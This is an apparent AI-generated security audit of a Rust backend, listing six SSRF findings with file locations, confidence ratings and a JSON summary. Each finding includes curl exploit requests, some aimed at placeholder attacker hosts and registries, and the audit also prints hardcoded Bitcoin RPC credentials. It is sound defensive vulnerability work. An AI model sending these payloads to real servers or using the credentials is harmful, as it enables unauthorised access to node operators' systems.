218 lines
10 KiB
Markdown
Raw Normal View History

The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.
---
# SSRF Vulnerability Analysis — Archipelago
## Summary
I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code.
---
## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-check-peer`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:115-133`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80`
**Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function:
1. Takes any string as `onion` (line 115)
2. Appends `.onion` if needed (lines 116-120)
3. Constructs `http://{host}/health` (line 121)
4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127)
5. Returns boolean success/failure to the caller (line 130)
Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean.
Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
```
Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address.
---
## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable)
**Type**: Direct SSRF via Tor SOCKS5 proxy
**Location**: `POST /rpc/v1` → method `node-send-message`
**Parameter**: `onion`
**Source file**: `core/archipelago/src/node_message.rs:66-112`
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67`
**Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but:
1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
2. The request includes the node's own public key in the body (`from_pubkey`)
3. The response error messages are returned to the caller, leaking connection details
4. No rate limiting — can probe many .onion addresses rapidly
The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
```
---
## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access
**Type**: Internal service proxy / partial SSRF
**Location**: `GET /proxy/lnd/{path}` on port 5678
**Parameter**: URL path after `/proxy/lnd`
**Source file**: `core/archipelago/src/api/handler.rs:158-188`
**Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080.
Key concerns:
- **No authentication** on the proxy endpoint
- **Full path control** — any LND REST API endpoint is accessible
- **Response body returned** — not blind, the attacker gets full response content
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
- Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`)
**Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
**Suggested exploit**:
```bash
# Direct to backend (if port 5678 is reachable)
curl http://TARGET:5678/proxy/lnd/v1/getinfo
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
```
---
## SSRF-004: Container Image Pull — Arbitrary Registry Fetch
**Type**: Indirect SSRF via container registry pull
**Location**: `POST /rpc/v1` → method `package.install`
**Parameter**: `dockerImage`
**Source file**: `core/archipelago/src/api/rpc/package.rs:9-84`
**Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is:
```rust
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
```
This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers.
**Confidence**: HIGH
**Suggested exploit**:
```bash
curl -X POST http://TARGET/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
```
The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF.
---
## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code)
**Type**: Full arbitrary URL fetch (NOT in active backend)
**Location**: `core/startos/src/registry/marketplace.rs:38-92`
**Parameter**: `url` (type `Url` — accepts any scheme/host)
**Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64.
**However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`.
**Confidence**: LOW (dormant code, not reachable on running server)
**Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.
---
## SSRF-006: Nostr Relay Connections — Config-Driven SSRF
**Type**: WebSocket SSRF via configuration
**Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish`
**Source file**: `core/archipelago/src/nostr_discovery.rs:157-345`
**Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor.
Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.
**Confidence**: LOW (requires configuration access)
---
## Additional Observations
| Factor | Detail |
|--------|--------|
| **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website |
| **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
| **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
| **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) |
| **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) |
---
```json
{
"category": "ssrf",
"findings": [
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}
```